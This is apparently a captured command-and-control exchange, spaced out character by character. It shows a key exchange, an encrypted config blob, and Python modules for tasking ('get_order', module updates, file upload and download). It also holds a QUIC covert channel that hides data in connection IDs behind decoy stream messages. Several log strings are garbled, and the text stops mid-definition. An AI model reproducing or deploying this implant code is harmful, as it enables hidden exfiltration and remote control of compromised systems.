
 i n i t _ c r y p t o : 2 3 4 0 2 3 1 0 2 1 2 4 3 9 7 6 9 1 3 9 7 2 1 2 1 0 2 5 6 1 0 3 3 5 1 3 6 2 7 0 6 6 7 3 0 2 5 1 3 2 9 0 9 2 9 8 1 6 1 7 6 2 1 3 1 1 9 1 9 4 1 1 5 7 6 2 7 9 2 2 4 1 8 7 8 1 9 3 9 8 9 8 5 3 3 8 6 6 4 3 2 4 9 2 8 8 3 6 2 4 7 3 3 8 6 9 1 0 5 7 8 4 9 1 4 8 7 3 2 4 4 8 8 9 4 0 3 0 1 4 6 8 5 7 2 6 0 2 0 6 4 7 7 0 4 3 3 7 6 7 9 5 5 2 0 3 9 5 6 0 8 3 8 4 5 2 1 6 3 0 2 2 5 8 4 7 8 6 4 5 4 4 7 2 7 7 6 4 2 6 8 0 6 1 1 0 8 4 1 2 9 9 4 9 4 6 5 5 8 9 0 7 2 8 0 3 3 3 1 8 5 3 0 4 2 3 6 9 9 1 6 7 3 7 0 5 8 2 0 8 1 1 5 9 2 3 1 3 1 4 1 9 9 1 3 3 4 6 6 2 5 6 5 8 4 9 2 3 6 3 5 6 2 1 4 6 3 0 8 6 7 3 5 5 8 7 1 1 0 0 5 7 0 3 7 5 6 1 7 6 3 7 5 6 0 8 4 9 8 5 2 9 0 5 0 0 1 2 8 9 8 7 4 9 3 0 4 7 7 8 1 0 9 9 1 9 3 2 0 2 3 1 3 2 7 7 3 3 7 4 0 9 2 6 2 1 8 3 2 5 2 2 1 0 0 0 5 4 3 2 9 5 7 5 3 3 9 2 2 8 2 6 9 6 6 2 4 1 2 1 3 1 4 1 9 3 1 7 7 0 0 5 2 7 4 1 3 8 3 0 2 3 8 5 8 2 3 3 5 4 0 5 3 0 4 9 6 3 5 0 3 3 2 3 8 8 4 4 7 7 4 7 5 4 0 5 5 9 4 7 9 9 1 8 0 0 2 7 1 8 7 6 9 6 7 8 7 6 6 1 3 3 9 7 2 2 0 0 4 1 5 0 2 7 1 8 2 5 1 9 6 6 4 1 0 5 1 8 8 3 3 6 4 8 6 8 6 9 8 8 9 1 4 4 9 3 0 1 9 1 8 6 0 2 7 6 3 4 9 4 5 6 1 6 6 6 4 1 3 8 8 3 8 8 2 8 9 3 0 4 7 9 9 9 3 4 7 6 0 4 7 7 5 0 0 5 1 4 5 8 4 5 6 8 1 4 9 8 6 0 2 5 3 1 5 3 6 4 7 7 7 7 0 6 8 2 7 2 9 4 2 7 6 2 5 4 3 , 2 , 2 2 0 6 9 7 8 9 5 1 1 2 1 5 3 7 3 6 1 1 0 0 4 0 9 4 9 1 5 6 0 1 9 7 4 7 6 5 4 8 1 7 9 4 8 2 8 8 0 7 4 6 8 5 2 5 5 0 7 4 3 4 2 7 1 1 8 1 9 6 0 1 4 8 9 5 8 6 6 6 3 0 9 3 0 3 0 0 3 2 7 9 2 0 6 0 4 8 5 3 2 1 9 9 2 1 4 0 3 3 0 4 9 0 2 7 3 2 3 0 4 9 8 8 3 1 2 3 3 5 6 5 0 7 9 8 6 3 0 1 6 8 9 8 3 6 0 7 7 9 8 6 6 3 7 3 0 1 2 3 7 1 3 7 8 9 3 9 6 0 3 6 1 4 2 3 6 5 9 2 8 8 1 0 0 7 5 0 0 0 9 0 3 0 6 7 5 5 9 4 3 1 8 6 6 5 7 9 0 4 5 5 7 8 9 8 1 6 0 8 4 7 9 9 0 7 3 5 4 8 2 1 8 8 7 8 5 9 2 8 0 1 2 4 1 1 0 7 3 5 6 0 7 9 0 4 3 6 6 6 3 4 2 0 1 9 3 7 1 4 6 5 1 9 6 0 0 1 1 3 1 4 4 1 9 1 9 4 5 3 6 7 6 2 4 4 5 6 0 1 4 8 8 0 3 9 6 8 7 2 9 7 0 2 1 1 8 7 0 5 7 1 8 1 8 7 3 0 6 3 1 9 9 2 4 8 7 0 8 5 0 1 4 0 1 0 8 4 8 0 4 9 3 9 0 9 7 4 3 4 2 7 1 5 5 6 1 7 5 5 3 1 3 6 6 5 9 6 4 0 3 5 7 6 4 1 9 5 8 5 1 6 1 3 6 2 8 9 7 7 5 4 3 7 7 9 4 0 4 9 8 8 6 4 1 9 7 2 2 3 4 4 5 9 6 7 7 9 8 0 9 0 2 6 8 8 8 8 0 9 1 7 2 3 4 2 5 6 8 9 6 9 6 8 8 0 2 3 5 5 6 5 7 7 4 6 2 5 3 0 7 8 2 0 2 7 4 8 7 8 1 0 5 2 2 2 3 3 0 8 5 2 4 5 5 1 7 2 4 0 6 6 8 7 8 4 4 5 9 8 7 2 9 8 3 4 0 5 6 1 6 0 0 1 6 4 2 7 0 8 9 5 7 7 1 6 3 3 9 6 4 6 3 1 5 2 0 1 2 0 8 2 4 7 1 8 8 7 4 6 1 3 0 0 0 1 9 3 7 5 8 8 7 2 2 5 6 0 6 1 1 5 0 9 1 6 6 8 1 1 4 6 9 2 1 1 7 1 6 0 0 2 7 0 2 3 8 0 5 5 4 3 6 2 3 6 1 7 9 3 1 0 8 4 9 3 7 5 1 0 1 0 6 7 4 5 3 4 7 1 1 8 2 1 1 3 7 6 8 6 5 4 4 1 8 3 3 6 9 0 5 9 2 2 5 0 6 4 3 9 8 4 4 1 0 1 8 5 0 2 1 1 5 2 7 6 6 6 2 6 2 9 2 0 9 4 9 8 3 3 7 9 7 4 6 8 3 7 5 6 4 2 4 9 6 0 6 0 4 1 3 1 4 2 6 1 0 5 6 4 9 4 1 2 4 6 4 3 3 2 0 0 2 5 5 4 3 5 4 2 7 9 8 9 2 2 0 7 4 8 9 7 2 7 6 2 8 8 1 7 8 2 2 8 8 1 2 3 1 0 4 8 4 4 0 9 1 8 8 9 6 8 5 8 8 4 7 6 2 1 8 1 6 4 4 5 8 5 2 3 6 4 8 9 8 9 1 9 0 4 2 3 9 8 9 7 3 1 5 8 8 3 9 1 6 2 6 7 4 7 8 5 4 1 1 4 2 4 4 4 2 2 0 5 6 4 7 7 8 2 9 4 4 9 3 4 7 6 3 1 8 2 8 8 7 9 1 8 8 6 6 3 3 3 6 2 8 0 6 0 2 9 4 8 6 7 4 5 6 1 1 0 2 4 8 1 2 8 5 9 2 4 2 9 0 4 9 6 0 4 1 5 7 4 5 1 3 7 2 5 2 8 8 8 5 6 6 5 1 6 3 1 6 9 5 3 6 4 9 0 1 6 3 1 3 8 9 8 8 6 1 8 6 3 8 6 8 5 5 6 1 7 7 1 3 6 2 1 9 2 8 4 0 0 4 4 5 5 4 9 0 5 3 1 0 9 2 6 0 5 3 0 4 9 4 5 6 5 0 3 3 7 5 9 6 6 7 9 1 6 1 9 5 3 2 2 1 7 3 6 7 9 0 4 6 5 1 8 6 0 4 3 0 5 8 7 1 5 9 4 4 9 2 2 8 0 6 9 1 6 9 6 7 3 9 4 9 6 8 7 6 1 0 7 5 9 1 5 1 7 1 6 5 1 3 8 6 6 9 5 9 6 6 1 8 5 4 4 6 8 7 0 8 8 1 0 0 3 7 4 9 9 6 9 2 1 4 8 6 3 7 1 8 9 2 2 7 3 5 8 2 1 7 3 7 5 9 9 8 9 4 4 1 9 5 0 2 2 0 5 2 0 9 9 6 6 5 2 2 2 8 3 9 0 0 6 9 5 9 5 3 2 0 4 5 1 5 6 6 4 6 5 5 3 8 4 2 6 4 7 2 2 5 3 6 4 0 2 0 2 8 9 5 4 2 4 0 0 3 8 9 2 5 3 0 4 1 0 0 5 9 2 3 1 5 9 4 0 9 6 8 6 4 
 
 
 
 s e t _ s e s s i o n _ k e y : v + G T l K + m B T S 1 P 9 F i s n 3 o z m P p S M C L N E H Z n t h T 3 7 k g m x u t w T w N H r q 1 l V H P C 0 J j L N u v v F K T 4 h L z X S 8 d 9 k e W 1 G 1 K l A = = 
 
 
 
 o k 
 
 
 
 
 g e t _ m o d u l e : c o n f i g 
 
 
 
 e e 7 I p f 2 x n V s t Q i Q P O G 4 A o U T K k 6 L s z M h 8 X y O j 9 y y m G C v X q p w 9 z e O d e 2 y r H d U 0 x N J s f 5 b k P t p Y T H Q U K k u / B I U r 1 a E F M 1 6 z o i g 3 T L h a w 4 C U b j W y x a f b I 0 B C l s 2 E X c 6 e T R a a t I L O t V w I i A N R i 4 p C O b 9 y / + U j A 6 F z g Y a D L z 9 z V W f Y X 4 o I g q J K Y S p O T 8 S + u L h v L E 0 h 1 W O d L p q q 8 0 X N 5 T c q 2 D u O I g f P u k w c 7 i u r d a j n 6 3 b R 7 A e 6 M 5 H w m + I 2 4 w C w l C P T 5 E w m 6 p z A n p J Z 9 9 O a f K + t Y J F J F 7 x V m 0 T S g 1 I y J s w o S X G x T W G I i c i s t y x 5 7 N x r + E N 8 5 S D l X 3 l z H E S A 6 g W t k l s / I J k F 5 5 J C K U c S S o k N O o Y j C Q x h l k a h V A f v 6 h z 3 f / I h X 1 F R o M G F 0 U t E L u L u c h X Q y 7 B O L 9 j 5 + X b L R H q w X Z V 5 9 L / M p 2 w P H f G f T N a f B N F P 6 b 3 R z + 0 8 u s i 1 o P T e P z 4 F E G z P g l Q n d 7 N 0 8 O A j Z E P C D 6 n L k A v y P n K Y G N 4 a R O F 7 Z + + E m b 0 S R X F X F L U F z 3 n o g W x 9 s n 3 S p 6 8 W X p x s C v F 4 s 1 C x T s N 4 s w R s I o m 8 4 Z s 7 D 3 P b 9 o T F L h W S j f 2 6 K Z S + 0 q G e D O n X 1 6 M 0 r Z m P m x N n F g = = 
 
 
 g e t _ m o d u l e : c o m m 
 
 i m p o r t   l o g g i n g 
 i m p o r t   t i m e 
 f r o m   b a s e 6 4   i m p o r t   b 6 4 e n c o d e 
 f r o m   t y p i n g   i m p o r t   A n y ,   O p t i o n a l 
 
 C O M M _ V E R S I O N   =   1 
 
 
 L O G G E R _ N A M E   =   " a i o q u i c _ c o m m " 
 L O G G E R _ K E Y   =   " _ _ l o g g e r _ c o m m _ _ " 
 i f   L O G G E R _ K E Y   i n   g l o b a l s ( ) : 
         l o g g e r   =   g l o b a l s ( ) [ L O G G E R _ K E Y ] 
 e l s e : 
         l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
 
         i f   n o t   l o g g e r . h a n d l e r s : 
                 l o g g e r . a d d H a n d l e r ( l o g g i n g . S t r e a m H a n d l e r ( ) ) 
         g l o b a l s ( ) [ L O G G E R _ K E Y ]   =   l o g g e r 
 
 
 c l a s s   N e t w o r k : 
 
         l o g :   l o g g i n g . L o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
 
         d e f   _ _ i n i t _ _ ( s e l f ,   c l i e n t :   A n y ) : 
                 s e l f . c l i e n t   =   c l i e n t 
 
         d e f   _ r e q u e s t ( 
                 s e l f ,   a c t i o n :   s t r ,   p a r a m s :   d i c t [ s t r ,   s t r   |   i n t ]   |   s t r   |   N o n e   =   N o n e 
         )   - >   s t r : 
                 m e s s a g e   =   a c t i o n . e n c o d e ( )   +   b " : "   +   s t r ( p a r a m s ) . e n c o d e ( ) 
 
                 f a k e _ m e s s a g e   =   b " M y   f a k e   c l i e n t   m e s s a g e " 
                 i f   l e n ( m e s s a g e . d e c o d e ( ) )   >   2 0 : 
                         s e l f . l o g . i n f o ( "      S e n d i n g   % d   b y t e s " ,   l e n ( m e s s a g e . d e c o d e ( ) ) ) 
                 e l s e : 
                         s e l f . l o g . i n f o ( "      S e n d i n g :   % s " ,   m e s s a g e ) 
 
                 s e l f . c l i e n t . s e n d _ m e s s a g e ( m e s s a g e ,   f a k e _ m e s s a g e ) 
 
                 r e s p o n s e   =   s e l f . c l i e n t . r e c v _ m e s s a g e ( ) 
                 i f   n o t   r e s p o n s e : 
                         r a i s e   T i m e o u t E r r o r ( "      N o   r e s p o n s e   r e c e i v e d   f r o m   s e r v e r " ) 
 
                 s e l f . l o g . d e b u g ( "     R e c e i v e d :   % s " ,   r e s p o n s e . d e c o d e ( ) ) 
                 t i m e . s l e e p ( 1 ) 
 
                 r e s u l t :   s t r   =   r e s p o n s e . d e c o d e ( ) 
                 r e t u r n   r e s u l t 
 
         d e f   u p d a t e _ m o d u l e ( s e l f ,   m o d u l e _ n a m e :   s t r ,   c u r r e n t _ v e r s i o n :   s t r )   - >   s t r : 
                 r e t u r n   s e l f . _ r e q u e s t ( 
                         " u p d a t e _ m o d u l e " ,   { " n a m e " :   m o d u l e _ n a m e ,   " c u r r e n t _ v e r s i o n " :   c u r r e n t _ v e r s i o n } 
                 ) 
 
         d e f   g e t _ m o d u l e ( s e l f ,   m o d u l e _ n a m e :   s t r )   - >   s t r : 
                 r e t u r n   s e l f . _ r e q u e s t ( " g e t _ m o d u l e " ,   m o d u l e _ n a m e ) 
 
         d e f   g e t _ o r d e r ( s e l f )   - >   s t r : 
                 r e t u r n   s e l f . _ r e q u e s t ( " g e t _ o r d e r " ) 
 
         d e f   f i l e _ u p l o a d ( s e l f ,   f i l e _ d a t a :   b y t e s ,   r e m o t e _ n a m e :   s t r )   - >   b o o l : 
                 f i l e _ s i z e   =   l e n ( f i l e _ d a t a ) 
                 s e l f . l o g . i n f o ( "      U p l o a d i n g :   % s   ( % d   b y t e s ) " ,   r e m o t e _ n a m e ,   f i l e _ s i z e ) 
 
                 p a r a m s   =   f " { r e m o t e _ n a m e } : { f i l e _ s i z e } " 
                 r e s p o n s e   =   s e l f . _ r e q u e s t ( " u p l o a d _ f i l e " ,   p a r a m s ) 
 
                 i f   r e s p o n s e   = =   " O K " : 
                         s e l f . l o g . i n f o ( "     U p l o a d   c o m p l e t e :   % s " ,   r e m o t e _ n a m e ) 
                         r e t u r n   T r u e 
                 s e l f . l o g . w a r n i n g ( "   $%  U p l o a d   f a i l e d :   % s " ,   r e s p o n s e ) 
                 r e t u r n   F a l s e 
 
         d e f   f i l e _ d o w n l o a d ( s e l f ,   r e m o t e _ n a m e :   s t r )   - >   b y t e s   |   N o n e : 
                 s e l f . l o g . i n f o ( "      D o w n l o a d i n g :   % s " ,   r e m o t e _ n a m e ) 
 
                 r e s p o n s e   =   s e l f . _ r e q u e s t ( " d o w n l o a d _ f i l e " ,   r e m o t e _ n a m e ) 
 
                 i f   r e s p o n s e . s t a r t s w i t h ( " E R R O R : " ) : 
                         s e l f . l o g . w a r n i n g ( "   $%  D o w n l o a d   f a i l e d :   % s " ,   r e s p o n s e ) 
                         r e t u r n   N o n e 
 
                 f i l e _ d a t a   =   r e s p o n s e . e n c o d e ( " l a t i n - 1 " ) 
                 s e l f . l o g . i n f o ( 
                         "     D o w n l o a d   c o m p l e t e :   % s   ( % d   b y t e s ) " ,   r e m o t e _ n a m e ,   l e n ( f i l e _ d a t a ) 
                 ) 
                 r e t u r n   f i l e _ d a t a 
 
         d e f   i n i t _ c r y p t o ( s e l f ,   c l i e n t _ p u b l i c :   l i s t [ i n t ] )   - >   O p t i o n a l [ i n t ] : 
 
                 r e s p o n s e   =   s e l f . _ r e q u e s t ( 
                         " i n i t _ c r y p t o " ,   " , " . j o i n ( [ s t r ( n )   f o r   n   i n   c l i e n t _ p u b l i c ] ) 
                 ) 
                 i f   r e s p o n s e . s t a r t s w i t h ( " E R R O R : " ) : 
                         s e l f . l o g . w a r n i n g ( "   $%  D o w n l o a d   f a i l e d :   % s " ,   r e s p o n s e ) 
                         r e t u r n   N o n e 
 
                 y s   =   i n t ( r e s p o n s e ) 
                 r e t u r n   y s 
 
         d e f   s e t _ s e s s i o n _ k e y ( s e l f ,   e n c r y p t e d _ s e s s i o n _ k e y :   b y t e s )   - >   b o o l : 
                 r e s p o n s e   =   s e l f . _ r e q u e s t ( 
                         " s e t _ s e s s i o n _ k e y " ,   b 6 4 e n c o d e ( e n c r y p t e d _ s e s s i o n _ k e y ) . d e c o d e ( ) 
                 ) 
                 i f   r e s p o n s e   = =   " o k " : 
                         s e l f . l o g . i n f o ( "   
  
  %s e s s i o n   k e y   c o m p l e t e . " ) 
                         r e t u r n   T r u e 
 
                 i f   r e s p o n s e . s t a r t s w i t h ( " E R R O R : " ) : 
                         s e l f . l o g . w a r n i n g ( "   $%  S e t   s e s s i o n   k e y   f a i l e d :   % s " ,   r e s p o n s e ) 
                 e l s e : 
                         s e l f . l o g . e r r o r ( "   
  
  %p e c t e d   s e t   s e s s i o n   k e y   f a i l u r e :   % s " ,   r e s p o n s e ) 
                 r e t u r n   F a l s e 
 
 g e t _ m o d u l e : q u i c 
 
 i m p o r t   a s y n c i o 
 i m p o r t   l o g g i n g 
 i m p o r t   o s 
 f r o m   c o n t e x t l i b   i m p o r t   _ A s y n c G e n e r a t o r C o n t e x t M a n a g e r 
 f r o m   t h r e a d i n g   i m p o r t   T h r e a d 
 f r o m   t y p i n g   i m p o r t   A n y ,   O p t i o n a l 
 
 f r o m   a i o q u i c . a s y n c i o . c l i e n t   i m p o r t   c o n n e c t 
 f r o m   a i o q u i c . a s y n c i o . p r o t o c o l   i m p o r t   Q u i c C o n n e c t i o n P r o t o c o l 
 f r o m   a i o q u i c . q u i c . c o n f i g u r a t i o n   i m p o r t   Q u i c C o n f i g u r a t i o n 
 f r o m   a i o q u i c . q u i c . c o n n e c t i o n   i m p o r t   Q u i c C o n n e c t i o n ,   Q u i c C o n n e c t i o n I d 
 f r o m   a i o q u i c . q u i c . e v e n t s   i m p o r t   H a n d s h a k e C o m p l e t e d ,   Q u i c E v e n t ,   S t r e a m D a t a R e c e i v e d 
 
 Q U I C _ V E R S I O N   =   1 
 C L I E N T _ T I M E O U T   =   4 5 . 0 
 
 
 L O G G E R _ N A M E   =   " a i o q u i c _ c o n n e c t i o n " 
 L O G G E R _ K E Y   =   " _ _ l o g g e r _ c o n n e c t i o n _ _ " 
 i f   L O G G E R _ K E Y   i n   g l o b a l s ( ) : 
         l o g g e r   =   g l o b a l s ( ) [ L O G G E R _ K E Y ] 
 e l s e : 
         l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
 
         i f   n o t   l o g g e r . h a n d l e r s : 
                 l o g g e r . a d d H a n d l e r ( l o g g i n g . S t r e a m H a n d l e r ( ) ) 
         g l o b a l s ( ) [ L O G G E R _ K E Y ]   =   l o g g e r 
 
 
 c l a s s   C u s t o m Q u i c C o n n e c t i o n P r o t o c o l ( Q u i c C o n n e c t i o n P r o t o c o l ) : 
 
         c o u n t e r :   i n t   =   0 
         c i d _ c o u n t :   i n t   =   0 
         n c i _ c o u n t :   i n t   =   0 
         f a k e _ p a r t :   i n t   =   0 
         c i d _ s i z e :   i n t   =   8 
         i n p u t _ m s g :   b y t e s   =   b " " 
         f a k e _ m e s s a g e :   b y t e s   =   b " " 
         p a i r _ n a m e :   s t r   =   " U n k n o w n " 
         i s _ s e n d i n g :   b o o l   =   F a l s e 
         l o g :   l o g g i n g . L o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
         p e n d i n g _ c h u n k s :   l i s t [ b y t e s ] 
 
         d e f   _ _ i n i t _ _ ( s e l f ,   * a r g s :   A n y ,   * * k w a r g s :   A n y )   - >   N o n e : 
                 s u p e r ( ) . _ _ i n i t _ _ ( * a r g s ,   * * k w a r g s ) 
                 s e l f . p a i r _ n a m e   =   " C l i e n t "   i f   s e l f . _ q u i c . c o n f i g u r a t i o n . i s _ c l i e n t   e l s e   " S e r v e r " 
                 s e l f . c i d _ s i z e   =   s e l f . _ q u i c . c o n f i g u r a t i o n . c o n n e c t i o n _ i d _ l e n g t h 
 
         d e f   q u i c _ e v e n t _ r e c e i v e d ( s e l f ,   e v e n t :   Q u i c E v e n t )   - >   N o n e : 
                 i f   i s i n s t a n c e ( e v e n t ,   H a n d s h a k e C o m p l e t e d ) : 
                         s e l f . l o g . i n f o ( "      
  
   H h a k e   c o m p l e t e d " ) 
                 e l i f   i s i n s t a n c e ( e v e n t ,   S t r e a m D a t a R e c e i v e d ) : 
                         d a t a   =   e v e n t . d a t a . d e c o d e ( ) 
                         s e l f . l o g . d e b u g ( "         R e c e i v e d :   % s " ,   d a t a ) 
                         s e l f . u s e _ c o v e r t _ c i d ( ) 
                 e l s e : 
                         s e l f . l o g . d e b u g ( "         % s " ,   e v e n t . _ _ c l a s s _ _ . _ _ n a m e _ _ ) 
 
         d e f   u s e _ c o v e r t _ c i d ( s e l f )   - >   N o n e : 
 
                 i f   ( 
                         s e l f . _ q u i c . _ p e e r _ c i d . c i d   = =   ( b " \ \ x 0 0 "   *   s e l f . c i d _ s i z e ) 
                         a n d   s e l f . i n p u t _ m s g   ! =   b " " 
                 ) : 
                         r e t u r n 
 
                 t a r g e t _ c i d   =   N o n e 
                 f o r   c i d _ o b j   i n   s e l f . _ q u i c . _ p e e r _ c i d _ a v a i l a b l e : 
                         i f   c i d _ o b j . s e q u e n c e _ n u m b e r   = =   ( s e l f . _ q u i c . _ p e e r _ c i d . s e q u e n c e _ n u m b e r   +   1 ) : 
                                 t a r g e t _ c i d   =   c i d _ o b j 
                                 b r e a k 
 
                 i f   t a r g e t _ c i d : 
                         c i d _ h e x   =   t a r g e t _ c i d . c i d . h e x ( ) 
                         s e l f . _ q u i c . _ p e e r _ c i d   =   t a r g e t _ c i d 
 
                         s e l f . _ q u i c . _ p e e r _ c i d _ a v a i l a b l e . r e m o v e ( t a r g e t _ c i d ) 
 
                         s e l f . i n p u t _ m s g   + =   t a r g e t _ c i d . c i d 
 
                         s t r e a m _ i d   =   s e l f . _ q u i c . g e t _ n e x t _ a v a i l a b l e _ s t r e a m _ i d ( ) 
                         a c k _ d a t a   =   f " { s e l f . p a i r _ n a m e }   u s e   n o w   D C I D   { c i d _ h e x } " . e n c o d e ( ) 
                         s e l f . _ q u i c . s e n d _ s t r e a m _ d a t a ( s t r e a m _ i d ,   a c k _ d a t a ) 
                         s e l f . t r a n s m i t ( ) 
 
                         s e l f . c i d _ c o u n t   + =   1 
                         s e l f . l o g . d e b u g ( "  % 
  
   S h i n g   t o   D C I D   [ % d ] :   % s " ,   s e l f . c i d _ c o u n t ,   c i d _ h e x ) 
 
         d e f   s e n d _ m e s s a g e ( s e l f ,   m e s s a g e :   b y t e s ,   f a k e _ m e s s a g e :   b y t e s )   - >   N o n e : 
                 s e l f . l o g . i n f o ( 
                         "   
  
   n d i n g   h i d d e n   m e s s a g e :   % s   ( l e n :   % d ) " , 
                         m e s s a g e [ : 2 0 ]   +   ( b " . . . "   i f   l e n ( m e s s a g e )   >   2 0   e l s e   b " " ) , 
                         l e n ( m e s s a g e ) , 
                 ) 
 
                 s e l f . p e n d i n g _ c h u n k s   =   [ 
                         m e s s a g e [ i   :   i   +   s e l f . c i d _ s i z e ] 
                         f o r   i   i n   r a n g e ( 0 ,   l e n ( m e s s a g e ) ,   s e l f . c i d _ s i z e ) 
                 ] 
 
                 i f   s e l f . p e n d i n g _ c h u n k s   a n d   l e n ( s e l f . p e n d i n g _ c h u n k s [ - 1 ] )   <   s e l f . c i d _ s i z e : 
                         s e l f . p e n d i n g _ c h u n k s [ - 1 ]   =   s e l f . p e n d i n g _ c h u n k s [ - 1 ] . l j u s t ( 8 ,   b " \ \ x 0 0 " ) 
                 s e l f . p e n d i n g _ c h u n k s . a p p e n d ( b " \ \ x 0 0 "   *   s e l f . c i d _ s i z e ) 
 
                 s e l f . f a k e _ p a r t   =   0 
                 s e l f . f a k e _ m e s s a g e   =   f a k e _ m e s s a g e 
                 i f   n o t   s e l f . i s _ s e n d i n g : 
                         s e l f . _ s e n d _ m e s s a g e ( ) 
 
         d e f   _ s e n d _ m e s s a g e ( s e l f )   - >   N o n e : 
                 s e l f . i s _ s e n d i n g   =   T r u e 
                 i f   n o t   s e l f . p e n d i n g _ c h u n k s : 
                         s e l f . i s _ s e n d i n g   =   F a l s e 
                         r e t u r n 
 
                 b a t c h _ s i z e   =   4 
                 f o r   _   i n   r a n g e ( b a t c h _ s i z e ) : 
                         i f   n o t   s e l f . p e n d i n g _ c h u n k s : 
                                 b r e a k 
                         c h u n k   =   s e l f . p e n d i n g _ c h u n k s . p o p ( 0 ) 
                         s e l f . f a k e _ p a r t   + =   1 
                         f a k e _ m e s s a g e _ s   =   ( 
                                 b " [ "   +   s t r ( s e l f . f a k e _ p a r t ) . e n c o d e ( )   +   b " ] "   +   s e l f . f a k e _ m e s s a g e 
                         ) 
                         s t r e a m _ i d   =   s e l f . _ q u i c . g e t _ n e x t _ a v a i l a b l e _ s t r e a m _ i d ( ) 
                         s e l f . _ s e n d _ c o v e r t _ c i d ( s t r e a m _ i d ,   c h u n k ,   f a k e _ m e s s a g e _ s ) 
                 s e l f . t r a n s m i t ( ) 
                 s e l f . _ l o o p . c a l l _ l a t e r ( 0 . 1 0 ,   s e l f . _ s e n d _ m e s s a g e ) 
 
         d e f   _ s e n d _ c o v e r t _ c i d ( s e l f ,   s t r e a m _ i d :   i n t ,   c i d :   b y t e s ,   f a k e _ m e s s a g e :   b y t e s )   - >   N o n e : 
 
                 s e l f . l o g . d e b u g ( "   
  
  %t i n g   c o v e r t   C I D :   % s " ,   c i d . h e x ( ) ) 
 
                 n e w _ c i d   =   Q u i c C o n n e c t i o n I d ( 
                         c i d = c i d , 
                         s e q u e n c e _ n u m b e r = s e l f . _ q u i c . _ h o s t _ c i d _ s e q , 
                         s t a t e l e s s _ r e s e t _ t o k e n = o s . u r a n d o m ( 1 6 ) , 
                 ) 
 
                 s e l f . _ q u i c . _ h o s t _ c i d s . a p p e n d ( n e w _ c i d ) 
                 s e l f . _ q u i c . _ h o s t _ c i d _ s e q   + =   1 
 
                 s e l f . _ q u i c . s e n d _ s t r e a m _ d a t a ( s t r e a m _ i d ,   f a k e _ m e s s a g e ) 
                 s e l f . n c i _ c o u n t   + =   1 
                 s e l f . l o g . d e b u g ( "      
  
   S N E W _ C O N N E C T I O N _ I D   [ % d ] :   % s " ,   s e l f . n c i _ c o u n t ,   c i d . h e x ( ) ) 
 
 
 c l a s s   C u s t o m Q u i c C o n n e c t i o n ( Q u i c C o n n e c t i o n ) : 
 
         d e f   _ _ i n i t _ _ ( s e l f ,   * a r g s :   A n y ,   * * k w a r g s :   A n y ) : 
 
                 i f   " c o n f i g u r a t i o n "   i n   k w a r g s : 
                         k w a r g s [ " c o n f i g u r a t i o n " ] . c o n n e c t i o n _ i d _ l e n g t h   =   8 
 
                 s u p e r ( ) . _ _ i n i t _ _ ( * a r g s ,   * * k w a r g s ) 
 
                 s e l f . _ l o c a l _ a c t i v e _ c o n n e c t i o n _ i d _ l i m i t   =   2 * * 3 2 
                 s e l f . _ r e m o t e _ a c t i v e _ c o n n e c t i o n _ i d _ l i m i t   =   2 * * 3 2 
                 s e l f . m a x _ s t r e a m s _ u n i   =   2 * * 3 2 
                 s e l f . _ l o c a l _ m a x _ s t r e a m s _ u n i . v a l u e   =   2 * * 3 2 
 
                 s e l f . s e t _ c i d ( " 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 " ,   " 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 " ) 
 
         d e f   _ m a k e _ c i d ( 
                 s e l f , 
                 d a t a :   s t r , 
                 s e q u e n c e _ n u m b e r :   O p t i o n a l [ i n t ]   =   0 , 
                 s t a t e l e s s _ r e s e t _ t o k e n :   O p t i o n a l [ b y t e s ]   =   b " " , 
                 w a s _ s e n t :   b o o l   =   F a l s e , 
         )   - >   Q u i c C o n n e c t i o n I d : 
                 r e t u r n   Q u i c C o n n e c t i o n I d ( 
                         c i d = ( b y t e s . f r o m h e x ( d a t a ) [ : 8 ] ) , 
                         s e q u e n c e _ n u m b e r = s e q u e n c e _ n u m b e r , 
                         s t a t e l e s s _ r e s e t _ t o k e n = s t a t e l e s s _ r e s e t _ t o k e n , 
                         w a s _ s e n t = w a s _ s e n t , 
                 ) 
 
         d e f   s e t _ c i d ( 
                 s e l f , 
                 s c i d :   O p t i o n a l [ s t r ]   =   N o n e , 
                 d c i d :   O p t i o n a l [ s t r ]   =   N o n e , 
                 c i d :   O p t i o n a l [ s t r ]   =   N o n e , 
         )   - >   N o n e : 
                 i f   s c i d : 
                         c i d _ s c i d   =   s e l f . _ m a k e _ c i d ( s c i d ,   s t a t e l e s s _ r e s e t _ t o k e n = N o n e ,   w a s _ s e n t = T r u e ) 
                         s e l f . _ h o s t _ c i d s   =   [ c i d _ s c i d ] 
                         s e l f . h o s t _ c i d   =   c i d _ s c i d . c i d 
                         s e l f . _ l o c a l _ i n i t i a l _ s o u r c e _ c o n n e c t i o n _ i d   =   c i d _ s c i d . c i d 
                         s e l f . _ o r i g i n a l _ d e s t i n a t i o n _ c o n n e c t i o n _ i d   =   c i d _ s c i d . c i d 
 
                 i f   d c i d : 
                         s e l f . _ p e e r _ c i d   =   s e l f . _ m a k e _ c i d ( d c i d ,   s t a t e l e s s _ r e s e t _ t o k e n = N o n e ) 
 
                 i f   c i d : 
                         s e l f . _ l o c a l _ c i d   =   s e l f . _ m a k e _ c i d ( c i d ) . c i d 
 
         d e f   _ r e p l e n i s h _ c o n n e c t i o n _ i d s ( s e l f )   - >   N o n e : 
                 r e t u r n 
 
 
 c l a s s   Q u i c C l i e n t P r o t o c o l ( C u s t o m Q u i c C o n n e c t i o n P r o t o c o l ) : 
         p a s s 
 
 
 L O G G E R _ N A M E   =   " a i o q u i c _ c l i e n t " 
 L O G G E R _ K E Y   =   " _ _ l o g g e r _ c l i e n t _ _ " 
 i f   L O G G E R _ K E Y   i n   g l o b a l s ( ) : 
         l o g g e r   =   g l o b a l s ( ) [ L O G G E R _ K E Y ] 
 e l s e : 
         l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
 
         i f   n o t   l o g g e r . h a n d l e r s : 
                 l o g g e r . a d d H a n d l e r ( l o g g i n g . S t r e a m H a n d l e r ( ) ) 
         g l o b a l s ( ) [ L O G G E R _ K E Y ]   =   l o g g e r 
 
 
 c l a s s   C l i e n t : 
 
